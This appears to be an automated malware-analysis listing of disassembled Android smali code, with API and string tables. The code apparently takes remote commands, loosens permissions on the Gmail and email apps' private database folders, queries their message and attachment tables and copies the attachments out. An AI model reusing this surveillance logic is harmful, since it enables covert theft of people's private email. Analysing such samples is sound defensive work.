      1199invoke-virtual {v5, v4}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
      1200try_end_666: goto/16 :goto_31
      1201catch_668: move-exception v0
      1202try_start_669: new-instance v2, Ljava/lang/StringBuilder;
      1204const-string v3, "ParseResponseCommands dump command exception: "
      1206invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1208invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1209move-result-object v3
      1211invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1212move-result-object v2
      1214invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1215move-result-object v2
      1217invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1218if-eqz v1, :cond_31
      1219const/4 v0, 0x0
      1220const/16 v2, 0x78
      1222const-string v3, "GET_ATTACHMENT_FAIL"
      1224invoke-static {v1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1225move-result-object v4
      1227invoke-static {v0, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1228const/4 v0, 0x0
      1229const/16 v2, -0x3cae
      1231const-string v3, ""
      1233invoke-static {v1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1234move-result-object v1
      1236invoke-static {v0, v2, v3, v1}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1237try_end_699: goto/16 :goto_31
      1238try_start_69b:
      1239sget-object v4, Lcom/network/android/agent/NetworkApp;->a:Landroid/os/Handler;
      1240new-instance v5, Lcom/network/android/u;
      1242invoke-direct {v5, v0, v2, v3, v1}, Lcom/network/android/u;-><init>(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
      1244invoke-virtual {v4, v5}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
      1245try_end_6a5: goto/16 :goto_31
      1246cond_6a7:
      1247const-string v0, "ParseResponseCommands NOTHING"
      1249invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      1250try_end_6ac: goto/16 :goto_31
      APIs
      • java.lang.String.split
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.ReentrantReadWriteLock.<init>
      • java.util.concurrent.locks.ReentrantReadWriteLock.readLock
      • java.util.concurrent.locks.Lock.lock
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.lock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.lock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.split
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.split
      • java.lang.String.equals
      • java.lang.String.length
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.lock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.split
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.net.Uri.parse
      • android.net.Uri.getScheme
      • java.lang.String.equals
      • android.net.Uri.getPath
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.length
      • java.lang.String.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.lock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.equals
      • android.net.Uri.getPathSegments
      • java.util.List.get
      • java.util.List.get
      • java.util.List.get
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.length
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.read
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.lock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.lock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetContentMail getAttachmentFileCommandGmail version too low. returning
      • GetContentMail getAttachmentFileCommandGmail get attachment start
      • _
      • /data/data/com.google.android.gm/databases
      • /
      • GetContentMail getAttachmentFileCommandGmail appPathDatabases:
      • GetContentMail getAttachmentFileCommandGmail appPath:
      • 0777
      • GetContentMail getAttachmentFileCommandGmail DB not exists -> exit!:
      • GetContentMail getAttachmentFileCommandGmail finally-
      • GetContentMail getAttachmentFileCommandGmail -
      • /data/data/com.android.email/databases
      • select * from messages where _id = \'
      • \'
      • GetContentMail getAttachmentFileCommandGmail query:
      • GetContentMail getAttachmentFileCommandGmail Provider == null return
      • select * from Message where _id = \'
      • dateSentMs
      • GetContentMail getAttachmentFileCommandGmail getAttachments
      • select * from attachments where originExtras = \'
      • \' and status = \'200\'
      • GetContentMail getAttachmentFileCommandGmail cursor size:
      • mimeType
      • joinedAttachmentInfos
      • \n
      • GetContentMail getAttachmentFileCommandGmail joinedAttachmentInfos:
      • GetContentMail addGMailAttachments joinedAttachmentInfo:
      • \\|
      • timeStamp
      • GetContentMail getAttachmentFileCommandGmail mimeType row does not exist in theis Gmail DB messages table
      • get GetContentMail getAttachmentFileCommandGmail -
      • GET_ATTACHMENT_FAIL
      • httpPing
      • GetContentMail getAttachmentFileCommandGmail -
      • getAttachmentFileCommand end
      • filename
      • GetContentMail addGMailAttachments get by contentUri:
      • GetContentMail getAttachmentFileCommandGmail attachmentFileName:
      • GetContentMail getAttachmentFileCommandGmail URI:
      • file
      • GetContentMail getAttachmentFileCommandGmail copy local:
      • GetContentMail getAttachmentFileCommandGmail attachmentLength:
      • GetContentMail getAttachmentFileCommandGmail 0 chankData fileSize
      • GetContentMail getAttachmentFileCommandGmail get attchment name -
      • fileName
      • size
      • _id
      • contentUri
      • content
      • /data/data/com.android.email/cache/
      • .db_att/
      • GetContentMail getAttachmentFileCommandGmail cashed content path:
      • -single
      • get mail Throwable-
      • LOG_ERR_WHATSAPP
      • GetContentMail getAttachmentFileCommandGmail chank error
      • getAttachmentFileCommand-
      • GetContentMail getAttachmentFileCommandGmail - file does not exist
      • GET_ATTACHMENT_NOT_AVAILABLE
      • GetContentMail getAttachmentFileCommandGmail - no URI
      • GetContentMail getAttachmentFileCommandGmail no attachment available (query size 0)
      • GetContentMail getAttachmentFileCommandGmail finaly-
      • GetContentMail getAttachmentFileCommandGmail no attachment available (query size null)
      Position Instruction Meta Information
      0try_start_0:
      1invoke-static {}, Lcom/network/b/b;->c()Z
      2move-result v1
      3if-nez v1, :cond_c
      5const-string v1, "GetContentMail getAttachmentFileCommandGmail version too low. returning"
      7invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      8goto_b: return-void
      9cond_c:
      10const-string v1, "GetContentMail getAttachmentFileCommandGmail get attachment start"
      12invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      13move-object/from16 v0, p0
      15iget-object v1, v0, Lcom/network/android/t;->a:Ljava/lang/String;
      17const-string v2, "_"
      19invoke-virtual {v1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      20move-result-object v1
      21const/4 v2, 0x0
      22aget-object v6, v1, v2
      23const/4 v2, 0x1
      24aget-object v2, v1, v2
      25move-object/from16 v0, p0
      26iget v1, v0, Lcom/network/android/t;->b:I
      27const/4 v3, 0x1
      28if-ne v1, v3, :cond_fb
      30const-string v1, "/data/data/com.google.android.gm/databases"
      31move-object/from16 v18, v1
      32goto_2c: move-object/from16 v0, p0
      33iget v1, v0, Lcom/network/android/t;->b:I
      34const/4 v3, 0x1
      35if-ne v1, v3, :cond_101
      36new-instance v1, Ljava/lang/StringBuilder;
      38invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      39move-object/from16 v0, v18
      41invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      42move-result-object v1
      44const-string v3, "/"
      46invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      47move-result-object v1
      49invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      50move-result-object v1
      52invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      53move-result-object v1
      54goto_4c: new-instance v2, Ljava/lang/StringBuilder;
      56const-string v3, "GetContentMail getAttachmentFileCommandGmail appPathDatabases:"
      58invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      59move-object/from16 v0, v18
      61invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      62move-result-object v2
      64invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      65move-result-object v2
      67invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      68new-instance v2, Ljava/lang/StringBuilder;
      70const-string v3, "GetContentMail getAttachmentFileCommandGmail appPath:"
      72invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      74invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      75move-result-object v2
      77invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      78move-result-object v2
      80invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      81const/4 v5, 0x0
      82const/4 v4, 0x0
      83const/4 v3, 0x0
      84const/4 v7, 0x0
      85const/4 v2, 0x0
      86new-instance v8, Ljava/util/concurrent/locks/ReentrantReadWriteLock;
      88invoke-direct {v8}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;-><init>()V
      90invoke-virtual {v8}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;->readLock()Ljava/util/concurrent/locks/ReentrantReadWriteLock$ReadLock;
      91try_end_7f: move-result-object v19
      92try_start_80:
      93invoke-interface/range {v19 .. v19}, Ljava/util/concurrent/locks/Lock;->lock()V
      95invoke-static/range {v18 .. v18}, Lcom/network/android/m;->d(Ljava/lang/String;)[Ljava/lang/String;
      96try_end_86: move-result-object v14
      97try_start_87: move-object/from16 v0, v18
      99invoke-static {v0, v14}, Lcom/network/android/m;->a(Ljava/lang/String;[Ljava/lang/String;)Ljava/util/HashMap;
      100try_end_8c: move-result-object v15
      101try_start_8d:
      102const-string v2, "0777"
      103move-object/from16 v0, v18
      105invoke-static {v2, v0, v14}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
      106new-instance v2, Ljava/io/File;
      108invoke-direct {v2, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      110invoke-virtual {v2}, Ljava/io/File;->exists()Z
      111move-result v2
      112if-nez v2, :cond_11c
      113new-instance v2, Ljava/lang/StringBuilder;
      115const-string v3, "GetContentMail getAttachmentFileCommandGmail DB not exists -> exit!: "
      117invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      119invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      120move-result-object v1
      122invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      123move-result-object v1
      125invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      126try_end_b1: if-eqz v4, :cond_b6
      127try_start_b3:
      128invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      129cond_b6: if-eqz v5, :cond_bb
      131invoke-interface {v5}, Landroid/database/Cursor;->close()V
      132cond_bb: if-eqz v15, :cond_c4
      133if-eqz v14, :cond_c4
      134move-object/from16 v0, v18
      136invoke-static {v15, v0, v14}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;[Ljava/lang/String;)V
      137cond_c4:
      138invoke-interface/range {v19 .. v19}, Ljava/util/concurrent/locks/Lock;->lock()V
      139try_end_c7: goto/16 :goto_b
      140catch_c9: move-exception v1
      141try_start_ca: new-instance v2, Ljava/lang/StringBuilder;
      143const-string v3, "GetContentMail getAttachmentFileCommandGmail finally- "
      145invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      147invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      148move-result-object v3
      150invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      151move-result-object v2
      153invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      154move-result-object v2
      156invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      157try_end_e0: goto/16 :goto_b
      158catch_e2: move-exception v1
      159new-instance v2, Ljava/lang/StringBuilder;
      161const-string v3, "GetContentMail getAttachmentFileCommandGmail - "
      163invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      165invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      166move-result-object v3
      168invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      169move-result-object v2
      171invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      172move-result-object v2
      174invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      175goto/16 :goto_b
      176try_start_fb:
      177const-string v1, "/data/data/com.android.email/databases"
      178move-object/from16 v18, v1
      179goto/16 :goto_2c
      180cond_101: new-instance v1, Ljava/lang/StringBuilder;
      182invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      183move-object/from16 v0, v18
      185invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      186move-result-object v1
      188const-string v3, "/"
      190invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      191move-result-object v1
      193invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      194move-result-object v1
      196invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      197try_end_119: move-result-object v1
      198goto/16 :goto_4c
      199cond_11c: const/4 v2, 0x0
      200const/16 v3, 0x10
      201try_start_11f:
      202invoke-static {v1, v2, v3}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      203try_end_122: move-result-object v16
      204try_start_123: move-object/from16 v0, p0
      205iget v1, v0, Lcom/network/android/t;->b:I
      206const/4 v2, 0x1
      207if-ne v1, v2, :cond_190
      208new-instance v1, Ljava/lang/StringBuilder;
      210const-string v2, "select * from messages where _id = \'"
      212invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      214invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      215move-result-object v1
      217const-string v2, "\' "
      219invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      220move-result-object v1
      222invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      223move-result-object v1
      224goto_13f: new-instance v2, Ljava/lang/StringBuilder;
      226const-string v3, "GetContentMail getAttachmentFileCommandGmail query: "
      228invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      230invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      231move-result-object v2
      233invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      234move-result-object v2
      236invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      237const/4 v2, 0x0
      238move-object/from16 v0, v16
      240invoke-virtual {v0, v1, v2}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      241try_end_157: move-result-object v17
      242if-nez v17, :cond_1a6
      243try_start_15a:
      244const-string v1, "GetContentMail getAttachmentFileCommandGmail Provider == null return"
      246invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      247try_end_15f: if-eqz v16, :cond_164
      248try_start_161:
      249invoke-virtual/range {v16 .. v16}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      250cond_164: if-eqz v17, :cond_169
      252invoke-interface/range {v17 .. v17}, Landroid/database/Cursor;->close()V
      253cond_169: if-eqz v15, :cond_172
      254if-eqz v14, :cond_172
      255move-object/from16 v0, v18
      257invoke-static {v15, v0, v14}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;[Ljava/lang/String;)V
      258cond_172:
      259invoke-interface/range {v19 .. v19}, Ljava/util/concurrent/locks/Lock;->lock()V
      260try_end_175: goto/16 :goto_b
      261catch_177: move-exception v1
      262try_start_178: new-instance v2, Ljava/lang/StringBuilder;
      264const-string v3, "GetContentMail getAttachmentFileCommandGmail finally- "
      266invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      268invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      269move-result-object v3
      271invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      272move-result-object v2
      274invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      275move-result-object v2
      277invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      278try_end_18e: goto/16 :goto_b
      279cond_190: new-instance v1, Ljava/lang/StringBuilder;
      281const-string v2, "select * from Message where _id = \'"
      283invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      285invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      286move-result-object v1
      288const-string v2, "\' "
      290invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      291move-result-object v1
      293invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      294try_end_1a4: move-result-object v1
      295goto/16 :goto_13f
      296try_start_1a6:
      297const-string v5, ""
      299invoke-interface/range {v17 .. v17}, Landroid/database/Cursor;->moveToFirst()Z
      300move-result v1
      301if-eqz v1, :cond_1c3
      302move-object/from16 v0, p0
      303iget v1, v0, Lcom/network/android/t;->b:I
      304const/4 v2, 0x1
      305if-ne v1, v2, :cond_29e
      307const-string v1, "dateSentMs"
      308move-object/from16 v0, v17
      310invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      311move-result v1
      312move-object/from16 v0, v17
      314invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      315move-result-object v5
      316goto_1c3:
      317const-string v1, "GetContentMail getAttachmentFileCommandGmail getAttachments"
      319invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      320try_end_1c8: const/4 v2, 0x0
      321try_start_1c9: new-instance v1, Ljava/lang/StringBuilder;
      323const-string v3, "select * from attachments where originExtras = \'"
      325invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      326move-object/from16 v0, p0
      328iget-object v3, v0, Lcom/network/android/t;->c:Ljava/lang/String;
      330invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      331move-result-object v1
      333const-string v3, "\' and status = \'200\'"
      335invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      336move-result-object v1
      338invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      339move-result-object v1
      340new-instance v3, Ljava/lang/StringBuilder;
      342const-string v4, "GetContentMail getAttachmentFileCommandGmail query: "
      344invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      346invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      347move-result-object v3
      349invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      350move-result-object v3
      352invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      353const/4 v3, 0x0
      354move-object/from16 v0, v16
      356invoke-virtual {v0, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      357try_end_1fa: move-result-object v13
      358if-eqz v13, :cond_6fb
      359try_start_1fd:
      360invoke-interface {v13}, Landroid/database/Cursor;->getCount()I
      361move-result v1
      362if-lez v1, :cond_68d
      363new-instance v1, Ljava/lang/StringBuilder;
      365const-string v2, "GetContentMail getAttachmentFileCommandGmail cursor size: "
      367invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      369invoke-interface {v13}, Landroid/database/Cursor;->getCount()I
      370move-result v2
      372invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      373move-result-object v1
      375invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      376move-result-object v1
      378invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      379goto_219:
      380invoke-interface {v13}, Landroid/database/Cursor;->moveToNext()Z
      381try_end_21c: move-result v1
      382if-eqz v1, :cond_6c3
      383const/4 v1, 0x0
      384const/4 v2, 0x0
      385try_start_221: move-object/from16 v0, p0
      386iget v3, v0, Lcom/network/android/t;->b:I
      387try_end_225: const/4 v4, 0x1
      388if-ne v3, v4, :cond_49c
      389try_start_228:
      390const-string v3, "mimeType"
      392invoke-interface {v13, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      393move-result v3
      395invoke-interface {v13, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      396try_end_231: move-result-object v2
      397try_start_232: move-object/from16 v0, p0
      399iget-object v9, v0, Lcom/network/android/t;->c:Ljava/lang/String;
      401const-string v3, "joinedAttachmentInfos"
      402move-object/from16 v0, v17
      404invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      405move-result v3
      406move-object/from16 v0, v17
      408invoke-interface {v0, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      409move-result-object v3
      411const-string v4, "\n"
      413invoke-virtual {v3, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      414move-result-object v6
      415new-instance v4, Ljava/lang/StringBuilder;
      417const-string v8, "GetContentMail getAttachmentFileCommandGmail joinedAttachmentInfos: "
      419invoke-direct {v4, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      421invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      422move-result-object v3
      424invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      425move-result-object v3
      427invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      428try_end_25c: if-eqz v6, :cond_7ee
      429const/4 v3, 0x0
      430move v4, v3
      431move-object v3, v1
      432move-object v1, v9
      433try_start_262: array-length v8, v6
      434if-ge v4, v8, :cond_384
      435aget-object v8, v6, v4
      436new-instance v9, Ljava/lang/StringBuilder;
      438const-string v10, "GetContentMail addGMailAttachments joinedAttachmentInfo: "
